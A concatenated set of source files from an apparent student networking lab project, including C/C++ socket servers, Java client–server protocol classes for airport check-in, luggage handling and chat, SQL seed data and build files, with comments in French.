#define affErr(msg) std::cout << "\e[31;1m[" << __FUNCTION__ << "] \e[34;0m" << msg << "\e[0m" << std::endl
class Application_CIAChat_IN {
private:
std::string tramSeparator;
std::string tramEnding;
std::string TCPhost;
unsigned int TCPport;
std::string UDPhost;
unsigned int UDPport;
HostInfo *hostInfoTCPServeur;
HostInfo *hostInfoUDPLocal;
HostInfo *hostInfoUDPOther;
ClientSocket *clientSocket;
IACOP *iacop;
MulticastSocket *multicastSocket;
std::string user;
std::vector<Message> allMessages;
std::vector<Message> questions;
int filtreListe=-1;
ThreadReception *threadReception;
void readConfigFile(const char *propertiesFilePath) throw(ClientException);
void connectToTCPServer() throw(ClientException, QuitApp);
void login() throw(ClientException, QuitApp);
void showTitle() const;
int chooseAction();
void pushToContinue() const;
std::string getInput(std::string invit);
std::string getInputWithEmpty(const std::string invit);
void quitAppAfterErr(std::string where, std::string what);
public:
explicit Application_CIAChat_IN(const char *propertiesFilePath);
virtual ~Application_CIAChat_IN();
void run();
void changerFiltre();
void afficherConversation();
void envoyerMessage();
};
#endif //APPLICATION_CIACHAT_APPLICATION_CIACHAT_IN_H
<file_sep>/final eclipse/Librairie/src/network/protocole/lugap/requete/Requete_logout.java
package network.protocole.lugap.requete;
import java.io.Serializable;
import generic.server.ARequete;
import network.communication.communicationException;
import network.protocole.lugap.reponse.Reponse_logout;
public class Requete_logout extends ARequete implements Serializable {
/**
*
*/
private static final long serialVersionUID = 1L;
public Requete_logout() {
super("logout", "");
}
@Override
protected void doAction() {
try {
this.reponse = Reponse_logout.OK();
traceEvent("Logout OK");
this.communication.send(this.reponse);
} catch (communicationException ex) {
traceEvent("" + ex.getMessage());
}
}
}
<file_sep>/LaboReseauxBinome/Evaluation5/Application_CIAChat/Launcher.cpp
#include <iostream>
#include "Application_CIAChat_IN.h"
Application_CIAChat_IN *application_ciaChat_in;
int main(int argc, char* argv[]) {
if(argc < 2) {
std::cerr << "Please provide the properties file as argument when launching me!" << std::endl;
exit(1);
}
affOut("Launcher starting...");
try{
application_ciaChat_in = new Application_CIAChat_IN(argv[1]);
application_ciaChat_in->run();
}catch(const QuitApp &ex){
}catch(const std::exception &ex){
affErr(ex.what());
}
delete application_ciaChat_in;
affOut("L'application se ferme.");
affOut("Au revoir!");
affEmptyLine();
return 0;
}<file_sep>/LaboReseauxBinome/BD_JOURNALDEBORD/populateDatabase.sql
DELETE FROM activites;
DELETE FROM intervenants;
INSERT INTO intervenants VALUES(1, 'Professeur', 'Charlet');
INSERT INTO intervenants VALUES(2, 'Professeur', 'Vilvens');
INSERT INTO intervenants VALUES(3, 'Professeur', 'Romio');
INSERT INTO intervenants VALUES(4, 'Etudiant', 'Reynders');
INSERT INTO intervenants VALUES(5, 'Etudiant', 'Stasse');
INSERT INTO intervenants VALUES(6, 'Etudiant', 'Gillet');
INSERT INTO intervenants VALUES(7, 'Etudiant', 'Gardier');
INSERT INTO activites
VALUES(1, TO_DATE( '08/10/2017 08:00:00 PM', 'MM/DD/YYYY HH:MI:SS AM'), 'Vérification', 'Dernière vérification avant l''évaluation de demain', 5);
INSERT INTO activites
VALUES(2, TO_DATE( '08/10/2017 08:00:00 PM', 'MM/DD/YYYY HH:MI:SS AM'), 'Vérification', 'Dernière vérification avant l''évaluation de demain', 4);
INSERT INTO activites
VALUES(3, TO_DATE( '06/10/2017 06:34:21 PM', 'MM/DD/YYYY HH:MI:SS AM'), 'Creation', 'Création de la base de données d''Oracle', 4);
INSERT INTO activites
VALUES(4, TO_DATE( '03/10/2017 01:10:00 PM', 'MM/DD/YYYY HH:MI:SS AM'), 'Evaluation 1', 'Vérification du travail pour l''évaluation 1', 1);
INSERT INTO activites
VALUES(5, TO_DATE( '03/10/2017 01:10:00 PM', 'MM/DD/YYYY HH:MI:SS AM'), 'Evaluation 1', 'Vérification du travail pour l''évaluation 1', 4);
COMMIT;<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/SocketUtilities/HostInfo.h
#ifndef SOCKETUTILITIES_HOSTINFO_H
#define SOCKETUTILITIES_HOSTINFO_H
#include <netdb.h>
#include <string>
#include <ostream>
#include <arpa/inet.h>
#include <iostream>
#include "../Exceptions/HostException.h"
// PLUS D'INFOS : http://pubs.opengroup.org/onlinepubs/009695399/functions/endhostent.html
class HostInfo {
private:
bool databaseIsOpen;
struct hostent *hostPtr;
public:
HostInfo();
HostInfo(const char* hostDescriptor);
HostInfo(const HostInfo& orig);
virtual ~HostInfo();
void openHostDatabase();
const char* getHostIpAddress() const;
const char* getHostName() const;
friend std::ostream& operator<<(std::ostream &os, const HostInfo &info);
};
#endif //SOCKETUTILITIES_HOSTINFO_H
<file_sep>/final eclipse/Librairie/src/network/serveur/iacop/TCPThread.java
package network.serveur.iacop;
import java.io.IOException;
import java.net.ServerSocket;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.Arrays;
import java.util.HashMap;
import java.util.logging.Level;
import java.util.logging.Logger;
import database.utilities.Access;
import generic.server.IConsoleServeur;
import network.communication.Communication;
import network.communication.communicationException;
import network.protocole.iacop.reponse.ReponseLoginGroup;
import network.protocole.iacop.requete.RequeteLoginGroup;
public class TCPThread extends Thread {
private final IConsoleServeur guiApplication;
private final Access db;
private final int PORT_FLY;
private final String IP_CHAT;
private final int PORT_CHAT;
private final String separator;
private Communication c = null;
private ServerSocket serverSocket = null;
public TCPThread(IConsoleServeur guiApplication, Access db, int PORT_FLY, String IP_CHAT, int PORT_CHAT, String separator) {
this.guiApplication = guiApplication;
this.db = db;
this.PORT_FLY = PORT_FLY;
this.IP_CHAT = IP_CHAT;
this.PORT_CHAT = PORT_CHAT;
this.separator = separator;
}
@Override
public void run() {
this.c = null;
try{
this.serverSocket = new ServerSocket(this.PORT_FLY);
} catch (IOException ex) {
Logger.getLogger(TCPThread.class.getName()).log(Level.SEVERE, null, ex);
traceEvent("ServerSocket error : " + ex.getMessage());
doStop();
}
//Mise en attente du serveur
while(!isInterrupted()){
try{
this.c = new Communication(this.serverSocket.accept());
traceEvent("Accepted an incoming connection");
String message = c.receive();
String[] messageSplit = message.split(this.separator);
RequeteLoginGroup requete = RequeteLoginGroup.getInstance(messageSplit);
ReponseLoginGroup reponse;
if(requete != null){
String errorMsg = login(requete);
if(errorMsg.isEmpty())
reponse = new ReponseLoginGroup(this.IP_CHAT, this.PORT_CHAT);
else
reponse = new ReponseLoginGroup(errorMsg);
}
else
reponse = new ReponseLoginGroup("Failed to parse request");
this.c.send(reponse.toNetworkString(this.separator));
this.c = null;
}catch(IOException ex){
System.err.println("Erreur d'accept ! ? [" + ex.getMessage() + "]");
}catch(communicationException ex){
System.err.println("Erreur de communication ! ? [" + ex.getMessage() + "]");
}
}
}
public void doStop(){
traceEvent("Arret du serveur");
try {
if(this.serverSocket != null)
this.serverSocket.close();
} catch (IOException ex) {
traceEvent(ex.getMessage());
}
this.interrupt();
}
private String login(RequeteLoginGroup requete) {
String ret = "";
String sql = "SELECT password FROM agent WHERE login = ?";
HashMap<Integer, Object> preparedMap = new HashMap<>();
try{
preparedMap.put(1, requete.getUsername());
ResultSet resultSet = this.db.executeQuery(sql, preparedMap);
if(resultSet.next()){
if(!Arrays.equals(requete.getDigestedPassword(),resultSet.getString("password").getBytes())){
ret = "Wrong login/password";
traceEvent("Wrong login/password login:" + requete.getUsername());
}
else{
traceEvent("Login OK (login: " + requete.getUsername() + ")");
}
}
else{
String[] ticket = requete.getUsername().split("-");
if(ticket.length != 3){
ret = "Wrong ticket number";
traceEvent("Wrong ticket number (number=" + requete.getUsername() + ")");
}
else{
sql = "SELECT COUNT(*)"
+ " FROM ticket"
+ " WHERE fk_idairplane=?"
+ " AND fk_departure=?"
+ " AND idticket=?";
preparedMap.clear();
preparedMap.put(1, ticket[0]);
preparedMap.put(2, new SimpleDateFormat("ddMMyyyy").parse(ticket[1]));
preparedMap.put(3, ticket[2]);
ResultSet res = this.db.executeQuery(sql, preparedMap);
res.next();
if(res.getInt(1)==0){
ret = "Wrong ticket number";
traceEvent("Wrong ticket number (number=" + requete.getUsername() + ")");
}
else{
traceEvent("Login OK (login: " + requete.getUsername() + ")");
}
}
}
} catch (ParseException | SQLException ex) {
ret = "Erreur Serveur (SQL)";
traceEvent("Erreur SQL/BDD : " + ex.getMessage());
}
return ret;
}
private void traceEvent(String message){
this.guiApplication.TraceEvenements(
this.c==null ? "serveur" : c.getSocket().getRemoteSocketAddress().toString()
+ "#"
+ message
+ "#ThreadIACOP_TCP");
}
}
<file_sep>/final eclipse/Librairie/src/network/crypto/AEncryption.java
package network.crypto;
import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.NoSuchProviderException;
import java.security.Security;
import java.util.Arrays;
import org.bouncycastle.jce.provider.BouncyCastleProvider;
public abstract class AEncryption {
static
{
Security.addProvider(new BouncyCastleProvider());
}
@SuppressWarnings("unused")
private long time;
@SuppressWarnings("unused")
private double rand;
@SuppressWarnings("unused")
private byte[] msgByte;
public static byte[] saltDigest(String message, long time, double rand) throws EncryptionException
{
try
{
MessageDigest md = MessageDigest.getInstance("SHA-256", "BC");
md.update(message.getBytes(StandardCharsets.UTF_8));
ByteArrayOutputStream baos = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(baos);
dos.writeLong(time);
dos.writeDouble(rand);
md.update(baos.toByteArray());
dos.flush();
return md.digest();
}
catch (NoSuchAlgorithmException | NoSuchProviderException | IOException ex)
{
throw new EncryptionException("Encrypt()->SaltDigest() : " + ex);
}
}
public static byte[] saltDigest(char[] message, long time, double rand) throws EncryptionException
{
return saltDigest(Arrays.toString(message), time, rand);
}
public static int hash(String message){
int hashValue = 0;
for(int i=0; i<message.length(); i++){
hashValue += (int)message.charAt(i);
}
return hashValue%67;
}
}
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/Properties/Properties.cpp
#include "Properties.h"
Properties::Properties(const std::string filePath, const std::string sep) throw(PropertiesException) {
std::string line;
unsigned long pos;
std::ifstream fileStream(filePath.c_str(), std::ios::in);
if(!fileStream.is_open()){
throw PropertiesException("Properties::Properties() >> Could not open the file : " + filePath);
}
while(!fileStream.eof()){
getline(fileStream, line);
pos = line.find(sep);
if(pos == std::string::npos || line[0]=='#')
continue;
std::string key = line.substr(0, pos);
std::string value = line.substr(pos + sep.length());
mapProperties.insert(std::map<std::string, std::string>::value_type(key, value));
line.clear();
}
}
Properties::~Properties() = default;
const std::string Properties::getValue(const std::string key) const {
std::map<std::string, std::string>::const_iterator i;
std::string value;
i = mapProperties.find(key);
if(i != mapProperties.end()) {
value = i->second;
}
return value;
}
<file_sep>/LaboReseauxBinome/Evaluation5/Application_CIAChat/ThreadReception.cpp
#include "ThreadReception.h"
#include "Application_CIAChat_IN.h"
ThreadReception::ThreadReception(MulticastSocket *mcs, std::vector<Message> *allMessages, std::vector<Message> *questions) {
this->multicastSocket = mcs;
this->allMessages = allMessages;
this->questions = questions;
}
ThreadReception::~ThreadReception() {
stop_thread = true;
if(unThread.joinable())
unThread.join();
}
void ThreadReception::Start() {
unThread = std::thread(&ThreadReception::ThreadMain,this);
}
void ThreadReception::ThreadMain() {
while(!stop_thread) {
Message *message = nullptr;
message = this->multicastSocket->receiveMessage();
if(message != nullptr) {
this->allMessages->push_back(*message);
if (message->getMessageType() == POST_QUESTION) {
this->questions->push_back(*message);
}
}
}
}<file_sep>/LaboReseauxBinome/Evaluation1/CMakeLists.txt
# cmake_minimum_required(VERSION <specify CMake version here>)
project(Evaluation1)
set(CMAKE_CXX_STANDARD 14)
include_directories(Application_CheckIn)
include_directories(Librairies/CIMP)
include_directories(Librairies/CSV)
include_directories(Librairies/Exceptions)
include_directories(Librairies/Properties)
include_directories(Librairies/SocketUtilities)
include_directories(Serveur_CheckIn)
add_executable(Evaluation1
Application_CheckIn/Application_CheckIn.cpp
Application_CheckIn/Application_CheckIn.h
Application_CheckIn/ClientException.cpp
Application_CheckIn/ClientException.h
Application_CheckIn/Launcher.cpp
Application_CheckIn/QuitApp.cpp
Application_CheckIn/QuitApp.h
Librairies/CIMP/CIMP.cpp
Librairies/CIMP/CIMP.h
Librairies/CSV/CsvHandler.cpp
Librairies/CSV/CsvHandler.h
Librairies/CSV/LoginCsvHandler.cpp
Librairies/CSV/LoginCsvHandler.h
Librairies/CSV/LuggageCsvHandler.cpp
Librairies/CSV/LuggageCsvHandler.h
Librairies/CSV/LuggageDatabase.cpp
Librairies/CSV/LuggageDatabase.h
Librairies/CSV/TicketCsvHandler.cpp
Librairies/CSV/TicketCsvHandler.h
Librairies/Exceptions/CIMPException.cpp
Librairies/Exceptions/CIMPException.h
Librairies/Exceptions/CsvException.cpp
Librairies/Exceptions/CsvException.h
Librairies/Exceptions/ErrnoException.cpp
Librairies/Exceptions/ErrnoException.h
Librairies/Exceptions/HostException.cpp
Librairies/Exceptions/HostException.h
Librairies/Exceptions/PropertiesException.cpp
Librairies/Exceptions/PropertiesException.h
Librairies/Exceptions/SocketException.cpp
Librairies/Exceptions/SocketException.h
Librairies/Properties/Properties.cpp
Librairies/Properties/Properties.h
Librairies/SocketUtilities/ClientSocket.cpp
Librairies/SocketUtilities/ClientSocket.h
Librairies/SocketUtilities/HostInfo.cpp
Librairies/SocketUtilities/HostInfo.h
Librairies/SocketUtilities/ServerSocket.cpp
Librairies/SocketUtilities/ServerSocket.h
Librairies/SocketUtilities/Socket.cpp
Librairies/SocketUtilities/Socket.h
Librairies/Tests/CsvExceptionTest.cpp
Librairies/Tests/CsvHandlerTest.cpp
Librairies/Tests/ErrnoExceptionTest.cpp
Librairies/Tests/HostInfoTest.cpp
Librairies/Tests/LoginCsvHandlerTest.cpp
Librairies/Tests/PropertiesTest.cpp
Librairies/Tests/test.cpp
Serveur_CheckIn/Launcher.cpp
Serveur_CheckIn/ServerException.cpp
Serveur_CheckIn/ServerException.h
Serveur_CheckIn/Serveur_CheckIn.cpp
Serveur_CheckIn/Serveur_CheckIn.h
Serveur_CheckIn/Serveur_CheckInThread.cpp
Serveur_CheckIn/Serveur_CheckInThread.h)
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/Exceptions/PropertiesException.h
#ifndef EXCEPTIONS_PROPERTIESEXCEPTION_H
#define EXCEPTIONS_PROPERTIESEXCEPTION_H
#include <string>
#include <cstring>
class PropertiesException : public std::exception {
protected:
std::string message;
public:
PropertiesException(std::string msg);
PropertiesException(const char *msg);
PropertiesException(const PropertiesException &orig);
virtual ~PropertiesException() throw();
virtual const char* what() const throw();
};
#endif //EXCEPTIONS_PROPERTIESEXCEPTION_H
<file_sep>/LaboReseauxBinome/Libraries/GenericServer/src/server/multithread/ThreadClient.java
package server.multithread;
import server.SourceTaches;
public class ThreadClient extends Thread {
private final SourceTaches tachesAExecuter;
private final String name;
private Runnable tacheEnCours;
public ThreadClient(SourceTaches sourceTaches, String name) {
this.tachesAExecuter = sourceTaches;
this.name = name;
}
@Override
public void run(){
while(!isInterrupted()){
try{
this.tacheEnCours = tachesAExecuter.getTache();
this.tacheEnCours.run();
}catch(InterruptedException e){
System.err.println("Interruption : " + e.getMessage());
}
}
}
}
<file_sep>/final eclipse/Librairie/src/network/protocole/lugap/reponse/Reponse_Vols.java
package network.protocole.lugap.reponse;
import java.io.Serializable;
import java.util.ArrayList;
import database.entities.Vol;
import generic.server.AReponse;
public class Reponse_Vols extends AReponse implements Serializable {
private ArrayList<Vol> vols;
protected Reponse_Vols(String message, boolean successful, ArrayList<Vol> vols) {
super(message, successful);
this.vols = vols;
}
public static Reponse_Vols OK(ArrayList<Vol> flights){
return new Reponse_Vols("", true, flights);
}
public static Reponse_Vols KO(String message){
return new Reponse_Vols(message, false, null);
}
public ArrayList<Vol> getFlights() {
return vols;
}
private static final long serialVersionUID = 1L;
}
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/CMakeLists.txt
cmake_minimum_required(VERSION 3.8)
set(CMAKE_CXX_STANDARD 11)
project(Librairies)
project(test_CsvException)
project(test_CsvHandler)
project(test_LoginCsvHandler)
project(test_Properties)
project(test_Project)
set(CIMP_SOURCE_FILES
CIMP/CIMP.h
CIMP/CIMP.cpp)
set(CSV_SOURCE_FILES
CSV/CsvHandler.h
CSV/CsvHandler.cpp
CSV/LoginCsvHandler.cpp
CSV/LoginCsvHandler.h
CSV/TicketCsvHandler.h
CSV/TicketCsvHandler.cpp
CSV/LuggageDatabase.h
CSV/LuggageDatabase.cpp
CSV/LuggageCsvHandler.cpp
CSV/LuggageCsvHandler.h)
set(EXCEPTION_SOURCE_FILES
Exceptions/CsvException.h
Exceptions/CsvException.cpp
Exceptions/PropertiesException.h
Exceptions/PropertiesException.cpp
Exceptions/SocketException.cpp
Exceptions/SocketException.h
Exceptions/ErrnoException.cpp
Exceptions/ErrnoException.h
Exceptions/HostException.cpp
Exceptions/HostException.h
Exceptions/CIMPException.h
Exceptions/CIMPException.cpp)
set(PROPERTIES_SOURCE_FILES
Properties/Properties.h
Properties/Properties.cpp)
set(SOCKET_SOURCE_FILES
SocketUtilities/HostInfo.cpp
SocketUtilities/HostInfo.h
SocketUtilities/Socket.cpp
SocketUtilities/Socket.h
SocketUtilities/ClientSocket.h
SocketUtilities/ClientSocket.cpp
SocketUtilities/ServerSocket.cpp
SocketUtilities/ServerSocket.h)
add_library(Librairies ${CIMP_SOURCE_FILES} ${CSV_SOURCE_FILES} ${EXCEPTION_SOURCE_FILES} ${PROPERTIES_SOURCE_FILES} ${SOCKET_SOURCE_FILES})
add_executable(test_CsvException
Tests/CsvExceptionTest.cpp
${EXCEPTION_SOURCE_FILES})
add_executable(test_CsvHandler
Tests/CsvHandlerTest.cpp
${EXCEPTION_SOURCE_FILES} ${CSV_SOURCE_FILES})
add_executable(test_LoginCsvHandler
Tests/LoginCsvHandlerTest.cpp
${EXCEPTION_SOURCE_FILES} ${CSV_SOURCE_FILES})
add_executable(test_Properties
Tests/PropertiesTest.cpp
${EXCEPTION_SOURCE_FILES} ${PROPERTIES_SOURCE_FILES})
add_executable(test_errnoException
Tests/ErrnoExceptionTest.cpp
${EXCEPTION_SOURCE_FILES})
add_executable(test_hostInfo
Tests/HostInfoTest.cpp
${EXCEPTION_SOURCE_FILES} ${SOCKET_SOURCE_FILES})
add_executable(test_Project
Tests/test.cpp)<file_sep>/part_1/CheckIn_Serv/Libcsv.h
#ifndef LIBCSV_H_INCLUDED
#define LIBCSV_H_INCLUDED
int ReadByte(int, char*, char*);
int WriteByte(int, char*, char*);
#endif // LIBCSV_H_INCLUDED
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/Exceptions/CsvException.h
#ifndef EXCEPTIONS_CSVEXCEPTION_H
#define EXCEPTIONS_CSVEXCEPTION_H
#include <cstring>
#include <string>
using namespace std;
class CsvException : public exception {
protected:
string message;
public:
CsvException(string msg);
CsvException(const char *msg);
CsvException(const CsvException &orig);
virtual ~CsvException() throw();
virtual const char* what() const throw();
};
#endif //EXCEPTIONS_CSVEXCEPTION_H
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/Tests/LoginCsvHandlerTest.cpp
#include <iostream>
#include "../CSV/LoginCsvHandler.h"
#define csvFilePath "Librairies/Tests/logins.csv"
#define csvWrongFilePath "Librairies/Tests/fauxLogins.csv"
int main(){
cout << "Début des tests..." << endl;
try {
cout << "***** Test de lecture d'un fichier existant *****" << endl;
LoginCsvHandler *loginCsvHandler = new LoginCsvHandler(csvFilePath, ";");
cout << " recherche du login laurent (existant) avec le bon mot-de-passe: " << endl << " resultat : ";
loginCsvHandler->isValid("laurent", "monpwd") ? cout << "TRUE" : cout << "FALSE";
cout << endl;
cout << " recherche du login charlet (existant) avec le bon mot-de-passe: " << endl << " resultat : ";
loginCsvHandler->isValid("charlet", "maitre") ? cout << "TRUE" : cout << "FALSE";
cout << endl;
cout << " recherche du login laurent (existant) avec un mauvais mot-de-passe: " << endl << " resultat : ";
loginCsvHandler->isValid("laurent", "pasbonca") ? cout << "TRUE" : cout << "FALSE";
cout << endl;
cout << " recherche du login toto (inexistant) : " << endl << " resultat : ";
loginCsvHandler->isValid("toto", "mdp") ? cout << "TRUE" : cout << "FALSE";
cout << endl;
delete loginCsvHandler;
cout << "***** Test de lecture d'un fichier existant *****" << endl;
loginCsvHandler = new LoginCsvHandler(csvWrongFilePath, ";");
cout << " recherche du login laurent (existant) avec le bon mot-de-passe: " << endl << " resultat : ";
loginCsvHandler->isValid("laurent", "monpwd") ? cout << "TRUE" : cout << "FALSE";
cout << endl;
}catch(const CsvException& ex){
cout << "Une erreur est survenue! Message : " << ex.what() << endl;
}
return 0;
}<file_sep>/final eclipse/Librairie/src/network/serveur/tickmap/PoolThread.java
package network.serveur.tickmap;
import java.net.Socket;
import java.security.KeyStore;
import java.security.PrivateKey;
import java.security.PublicKey;
import java.security.cert.X509Certificate;
import database.utilities.Access;
import generic.server.IConsoleServeur;
import generic.server.ISourceTaches;
import generic.server.multithread.APoolThread;
import network.communication.Communication;
import network.communication.communicationException;
import network.crypto.ACryptographieAsymetrique;
import network.crypto.CryptographieAsymetriqueException;
public class PoolThread extends APoolThread{
private final String DBip;
private final String DBport;
private final String DBSID;
private final String DBschema;
private final String DBpassword;
public PoolThread(int nbThreads, ISourceTaches tachesAExecuter, IConsoleServeur guiApplication, int port,
String ip, String DBport, String SID, String schema, String password) {
super(nbThreads, tachesAExecuter, guiApplication, port);
this.DBip = ip;
this.DBport = DBport;
this.DBSID = SID;
this.DBschema = schema;
this.DBpassword = <PASSWORD>;
}
@Override
protected Runnable getProtocolRunnable(Socket socket) throws communicationException {
//recupérer la publickey, privatekey & le certificat via keystore
X509Certificate cert = null;
PublicKey publicKey = null;
PrivateKey privateKey = null;
//KeyStore ks = KeyStore.getInstance("PKCS12", "BC");
try {
KeyStore ks = ACryptographieAsymetrique.keyStore("JKS", "D:\\certificat\\JKS", "<PASSWORD>") ;
cert = ACryptographieAsymetrique.certificate( "D:\\certificat\\JKS", "JKS", "certificat_billet","<PASSWORD>");
publicKey = ACryptographieAsymetrique.publicKeyFromCertificate(ks, "certificat_billet","password");
privateKey = ACryptographieAsymetrique.privateKey(ks, "<PASSWORD>", "certificat_billet");
} catch (CryptographieAsymetriqueException e) {
System.err.println("Error Runnable->getProtocole: " + e.getMessage());
}
return new RunnableTickimap(this, this.guiApplication, new Communication(socket),
new Access(Access.dataBaseType.MYSQL, this.DBip, this.DBport, this.DBSID, this.DBschema, this.DBpassword)
,privateKey,publicKey, cert);
}
}
<file_sep>/final eclipse/Application_Billet/src/frame/FrameConnect.java
package frame;
import java.awt.EventQueue;
import javax.swing.JFrame;
import javax.swing.JPanel;
import javax.swing.border.EmptyBorder;
import javax.swing.SpringLayout;
import javax.swing.JLabel;
import java.awt.Font;
import javax.swing.JTextField;
import javax.swing.JPasswordField;
import javax.swing.JButton;
import java.awt.event.ActionListener;
import java.awt.event.ActionEvent;
public class FrameConnect extends JFrame {
/**
*
*/
private static final long serialVersionUID = 1L;
private JPanel contentPane;
private JTextField textLogin;
private JPasswordField textPassword;
private JTextField textError;
/**
* Launch the application.
*/
public static void main(String[] args) {
EventQueue.invokeLater(new Runnable() {
public void run() {
try {
FrameConnect frame = new FrameConnect();
frame.setVisible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
});
}
/**
* Create the frame.
*/
public FrameConnect() {
setTitle("Connexion");
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
setBounds(100, 100, 466, 272);
contentPane = new JPanel();
contentPane.setBorder(new EmptyBorder(5, 5, 5, 5));
setContentPane(contentPane);
SpringLayout sl_contentPane = new SpringLayout();
contentPane.setLayout(sl_contentPane);
JLabel labelLogin = new JLabel("Login:");
labelLogin.setFont(new Font("Monospaced", Font.BOLD, 14));
contentPane.add(labelLogin);
JLabel lblNewLabel = new JLabel("Mot de passe:");
sl_contentPane.putConstraint(SpringLayout.NORTH, lblNewLabel, 82, SpringLayout.NORTH, contentPane);
sl_contentPane.putConstraint(SpringLayout.WEST, lblNewLabel, 25, SpringLayout.WEST, contentPane);
sl_contentPane.putConstraint(SpringLayout.WEST, labelLogin, 0, SpringLayout.WEST, lblNewLabel);
sl_contentPane.putConstraint(SpringLayout.SOUTH, labelLogin, -20, SpringLayout.NORTH, lblNewLabel);
lblNewLabel.setFont(new Font("Monospaced", Font.BOLD, 14));
contentPane.add(lblNewLabel);
textLogin = new JTextField();
sl_contentPane.putConstraint(SpringLayout.NORTH, textLogin, -1, SpringLayout.NORTH, labelLogin);
sl_contentPane.putConstraint(SpringLayout.WEST, textLogin, 36, SpringLayout.EAST, labelLogin);
textLogin.setFont(new Font("Monospaced", Font.PLAIN, 12));
contentPane.add(textLogin);
textLogin.setColumns(10);
textPassword = new JPasswordField();
sl_contentPane.putConstraint(SpringLayout.EAST, textLogin, 0, SpringLayout.EAST, textPassword);
sl_contentPane.putConstraint(SpringLayout.NORTH, textPassword, -1, SpringLayout.NORTH, lblNewLabel);
sl_contentPane.putConstraint(SpringLayout.WEST, textPassword, 13, SpringLayout.EAST, lblNewLabel);
sl_contentPane.putConstraint(SpringLayout.EAST, textPassword, -74, SpringLayout.EAST, contentPane);
textPassword.setFont(new Font("Monospaced", Font.PLAIN, 12));
contentPane.add(textPassword);
JButton ButtonConnect = new JButton("Connect");
ButtonConnect.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
if(textLogin.getText().isEmpty() || String.valueOf(textPassword).isEmpty())
textError.setText("Tous les champs doivent être complétés.");
else
{
/* digest sale + handshake */
// si handshake ok:
FrameBillet frame = new FrameBillet();
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setVisible(true);
}
}
});
sl_contentPane.putConstraint(SpringLayout.NORTH, ButtonConnect, 28, SpringLayout.SOUTH, textPassword);
sl_contentPane.putConstraint(SpringLayout.WEST, ButtonConnect, 175, SpringLayout.WEST, contentPane);
ButtonConnect.setFont(new Font("Monospaced", Font.BOLD, 14));
contentPane.add(ButtonConnect);
textError = new JTextField();
textError.setEditable(false);
sl_contentPane.putConstraint(SpringLayout.WEST, textError, 43, SpringLayout.WEST, contentPane);
sl_contentPane.putConstraint(SpringLayout.SOUTH, textError, -10, SpringLayout.SOUTH, contentPane);
sl_contentPane.putConstraint(SpringLayout.EAST, textError, 13, SpringLayout.EAST, textLogin);
contentPane.add(textError);
textError.setColumns(10);
}
}
<file_sep>/part_3/Evaluation3(ancien)/LUGAP/src/lugap/requete/RequeteLUGAP_login.java
package lugap.requete;
import communicator.CommunicatorException;
import encryption.Encrypt;
import encryption.EncryptionException;
import java.io.Serializable;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import lugap.reponse.ReponseLUGAP_login;
public class RequeteLUGAP_login extends RequeteLUGAP implements Serializable {
private final String login;
private final byte[] digestedPassword;
private final long time;
private final double rand;
public RequeteLUGAP_login(String login, byte[] digestedPassword, long time, double rand) {
super("login", "SELECT login, password "
+ "FROM agent INNER JOIN job "
+ "ON fk_idjob = idjob "
+ "WHERE job.name='Bagagiste'"
+ "AND agent.login = ?");
this.login = login;
this.digestedPassword = <PASSWORD>;
this.time = time;
this.rand = rand;
}
@Override
protected void doAction() {
Map<Integer, Object> statementMap = new HashMap<>();
statementMap.put(1, this.login);
try {
try {
ResultSet resultSet = this.databaseAccess.executeQuery(this.sqlStatement, statementMap);
if(!resultSet.next()|| !Arrays.equals(this.digestedPassword,
Encrypt.saltDigest(resultSet.getString("password"),
this.time,
this.rand))){
this.reponse = ReponseLUGAP_login.KO("Wrong login/password");
traceEvent("Wrong login/password (login:" + this.login + ")");
}
else{
this.reponse = ReponseLUGAP_login.OK();
traceEvent("Login OK (login: " + this.login + ")");
}
} catch (SQLException ex) {
this.reponse = ReponseLUGAP_login.KO("Erreur Serveur (SQL)");
traceEvent("Erreur SQL/BDD : " + ex.getMessage());
} catch (EncryptionException ex) {
this.reponse = ReponseLUGAP_login.KO("Erreur Serveur (Encrypt)");
traceEvent("Erreur d'encrypt : " + ex.getMessage());
}
this.communicator.SendSerializable(this.reponse);
} catch (CommunicatorException ex) {
traceEvent("Login : " + ex.getMessage());
}
}
}
<file_sep>/part_1/CheckIn-Server/Serveur.c
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>
//#include "Serveur.conf"
#include "Libcsv.h"
#include "Network.h"
//70-79 ports
int soc;
int PORT = 0;
int NBCLI = 0;
//int connexions[NBCLI];
int* connexions;
pthread_mutex_t MutexConnexions, MutexNewUser, MutexTickets;
void* TraitementClient(void* arg)
{
struct sockaddr_in c_addr;
char buffer[50];
printf("Thread de traitements lancé !\n");
int conn_desc = 0;
char delem = ':';
char* saveptr;
int i;
char bin[2];
attente_connect:;
if(Waiting(&soc, &conn_desc, &c_addr, buffer) == -1)
{
perror("Err. de recv()");
exit(-1);
}
pthread_mutex_lock(&MutexConnexions);
for(i = 0; connexions[i] != 0; i+=1);
{
connexions[i] = conn_desc;
}
printf("Connexion établie %d !\n", connexions[i]);
pthread_mutex_unlock(&MutexConnexions);
while(1)
{
saveptr = NULL;
strcpy(buffer, "");
if(recv(conn_desc, buffer, 50, 0) == -1)
{
perror("Err. recv");
exit(-1);
}
strtok_r(buffer, &delem, &saveptr);
if(strcmp(buffer, "Close") == 0)
goto exit_server;
if(strcmp(buffer, "Login") == 0)
{
#ifdef DEBUG
printf("Requête Login!\n");
#endif
char login[100][25], password[100][25];
int i = 0;
int fd;
char delem2 = ';';
char* saveptr2;
